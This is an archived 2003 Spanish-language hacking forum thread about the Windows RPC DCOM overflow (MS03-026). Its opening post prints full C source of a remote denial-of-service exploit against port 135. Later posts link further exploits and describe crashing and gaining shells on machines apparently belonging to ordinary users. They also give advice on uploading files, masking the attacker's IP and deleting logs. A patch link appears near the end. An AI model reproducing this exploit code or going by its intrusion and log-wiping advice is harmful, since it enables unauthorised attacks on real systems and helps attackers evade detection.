elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Marzo 2010, 16:32  


Temas destacados: ¡¡ elhacker.net dice NO al cierre de páginas webs !!


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  Exploit para el overflow del RPC de windows (DCOM) :D
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: Exploit para el overflow del RPC de windows (DCOM) :D  (Leído 9079 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Exploit para el overflow del RPC de windows (DCOM) :D
« en: 24 Julio 2003, 03:20 »

Por fin sacaron el exploit!!!  ;D

Este es el fallo:
http://www.hispasec.com/unaaldia/1728/

Y este el exploit (solo para win2k? ) :

------------------------------------------------------------------------

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
    WSADATA WSAData;
 int i;
    SOCKET sock;
    SOCKADDR_IN addr_in;
 
 short port=135;
 unsigned char buf1[0x1000];
 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
 printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
 printf("Welcome to http://www.xfocus.net\n");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);exit(1);
 }


    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
 
 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
 if(WSAConnect(sock,(struct sockaddr*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
 {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return;
 }
 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }

 i=recv(sock,buf1,1024,MSG_PEEK);
 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }
 i=recv(sock,buf1,1024,MSG_PEEK);
}

----------------------------------------------------------------------

Fuente:
http://www.security.nnov.ru/files/w2krpcdos.c

Jea, jea, Microsoft es la leche xDDD

*******************Editado****************

Me acabo de dar cuenta, las shellcodes no tienen muchos nulls?? (0x00) Para mi que esto no funciona..., pues los arrays creeran que los 0x00 son los "fin de cadena" y no pasaran los demas opcodes...

Tengo q hacer pruebas... =8-)
« Última modificación: 24 Julio 2003, 03:22 por Rojodos » En línea
cokeing

Desconectado Desconectado

Mensajes: 1.039


SôNïC r0oLz


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #1 en: 25 Julio 2003, 10:38 »

este archivo no lo puedo compilar yo :(
debe ser para windows ¬¬

sabeis algun compilador (SOLO COMPILADOR (como gcc)) de windows?

asi lo ejecuto con el wine y yata...

saludos.cokeing y a petar win's xD
En línea

Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #2 en: 25 Julio 2003, 11:43 »

Puedes usar el LCCWin, tiene el mismo motor que el GCC y es muy sencillo.

A mi me da que este exploit no tira, por lo que dije de los nulls.. Lamentablemente no lo he podido probar aun....

Y si, aunq no lo creas, es para win (fijate en las cabeceras que usa, winsock2.h, windows.h, etc...)
En línea
SpeDhy

Desconectado Desconectado

Mensajes: 652


Investiga, practica y pregunta...


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #3 en: 26 Julio 2003, 12:14 »

me podrian ayudar en como encontrar esta vulnerabilidad en un sistema y como explotarla, de manera muy general, solo para darme una idea y yo despues le investigo aparte.

saludos y gracias...
En línea

Ayuda sin esperar nada a cambio...
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #4 en: 27 Julio 2003, 14:59 »

este codigo tiene errores al compilarlo desde mi dev-c++ me tira ciertos errores todavia no estoy en tema como para corregirlos
¡Alguien lo pudo compilar? o me dice donde puedo conseguir este codigo sin que este capado
Gracias Un Saludo
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #5 en: 28 Julio 2003, 02:53 »

Bueno, creo que el exploit que puse no es "el oficial", sino otro que si que tiene pinta de funcionar:

http://www.metasploit.com/releases.html

Click en Linux Source (obviamente para Linux xD)

Chincheta al tema :)
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #6 en: 28 Julio 2003, 03:15 »

More info & exploits:

http://packetstormsecurity.nl/0307-exploits/benjurry.txt <--- Informacion tecnica del fallo y exploit para linux :)

http://packetstormsecurity.nl/0307-exploits/DComExpl_UnixWin32.zip   <--- EXPLOIT PARA WINDOWS, Y COMPILADO!!!

http://www.cyruxnet.com.ar/rpcxploit.htm  <---  Gran Articulo de Cyruxnet :D
« Última modificación: 28 Julio 2003, 03:19 por Rojodos » En línea
Cobac
Colaborador

Desconectado Desconectado

Mensajes: 5.470


Still In Development


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #7 en: 28 Julio 2003, 05:07 »

de momento solo he logrado reiniciarlo remotamente  :-\ les da un error y se les reinicia por obligacion
En línea

PIV 2533 @ 2720Mhz | 512MB DRR333 @ 358 | 160 Gb + 40 Gb Seagate Barracuda

En la Edad Media la Iglesia robaba con los diezmos. En el siglo XXI la SGAE roba con sus cánones.
^EsPaNiA^

Desconectado Desconectado

Mensajes: 6


¡Amo YaBB SE!


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #8 en: 30 Julio 2003, 00:03 »

A mi me ha ido pero despues al crear la cuenta shell no me ha rulado el telnet... Sabeis donde puedo conseguir mas informacion sobre los comandos de net y como subir algun archivo y su ejecucion.
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #9 en: 30 Julio 2003, 00:09 »

Para subir archivos luego, una vez tengas la shell, simplemente usa FTP, por MSDOS.

Seguramente sera un troyano, lo ejecutas y listo, ese server esta troyanizado
En línea
^EsPaNiA^

Desconectado Desconectado

Mensajes: 6


¡Amo YaBB SE!


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #10 en: 30 Julio 2003, 00:28 »

Y como obtengo el anonimato mediante msdos ?? Shockchain y lo ejecuto desde alli? Y los comandos de net user y eso nos sabes donde puedo piyar info?? Otra duda es cuando se lanza el exploit en algunos dejan de responder y al hacerle el ping me da tiempo de espera llo que dice que ha debido reiniciar o algo similar...

Saludos.
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #11 en: 30 Julio 2003, 00:33 »

Si lanzas el exploit y el servidor peta, es porque no has usado el SP adecuado, con lo que no ha encontrado el RET correcto , con lo que hay un ostiazo del IIS xDDD al intentar escribir en memoria no paginada o no permitida, con lo que hay un SIGSEV del copon :D (a grosso modo)

Anonimato en q? Dentro del servidor no te sirve de nada el anonimato, pues YA ESTAS DENTRO. Podrias usar, para lanzar el exploit (para que no kede tu IP en los logs), algun socksificador o redireccionador por linea de comandos (en linux los hay, en win no se... me refiero por MSDOS)

El sockschain solo funciona en WINDOWS, no en MSDOS.

Recuerda borrar los logs.

En línea
^EsPaNiA^

Desconectado Desconectado

Mensajes: 6


¡Amo YaBB SE!


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #12 en: 30 Julio 2003, 00:58 »

UmMm esta tarde lo vere mas trankilo que quedan muchas cosillas por ver. Una duda una vez que conectas cuando borrsa el log se supone que al salir no insertar tu ip como que has salido del sistema ¿no? xq sino de nada valdria borrarlos xDDDD.

Y en caso de no borrar el log tampoco creo que pase nada porque lo he estado practiacando con usuarios normales que no creo q piloten tanto la verda, mas que nada xq ni si quiera intene una web subida a su server xDDD. Tambien lo probe con uno de los windows q tengo instlaado el 2003 corporate y peto cosa mala xDD


Por cierto al otro lamercillo que ha cntstado en este post piedo que borre eso y lo ponga en un post diferente y que si realmente se hace llamar o pasarse x un hacker es que no lo es DIOSSSSSSS !!!!, es más podria decirle perfectamente que no sabe lo que significa ser HACKER, es una palabra que pesa mucho tio a ver si leemos un poco mas en vez de mascar tanto.
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #13 en: 01 Agosto 2003, 02:13 »

Aun mas info, puede que te ayude...:

http://www.cyruxnet.com.ar/rpcxploit2.htm

Este cyrux... ;)
En línea
Kriptosys
F.I.H

Desconectado Desconectado

Mensajes: 851


[KriPt0SyS]


Ver Perfil
Re:Exploit para el overflow del RPC de windows (DCOM) :D
« Respuesta #14 en: 01 Agosto 2003, 22:00 »

el Parche:

Windows 2000 Security Patch: Buffer Overflow In RPC Interface

http://www.microsoft.com/security/security_bulletins/ms03-026.asp

<-->
Citar
Setup Cannot Update Your Windows 2000 files Because the language installed on your sustem is different from the update language

El lenguaje de my System  ;D Español (alfabetizacion internacional) ¿cual deberia tener para ser compatible con el Update?

Saludos
En línea

Citar
F I H - http://www.fihezine.tsx.to 15/11/03 Libertad de expresión, Libertad de Conocimiento
Páginas: [1] 2 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC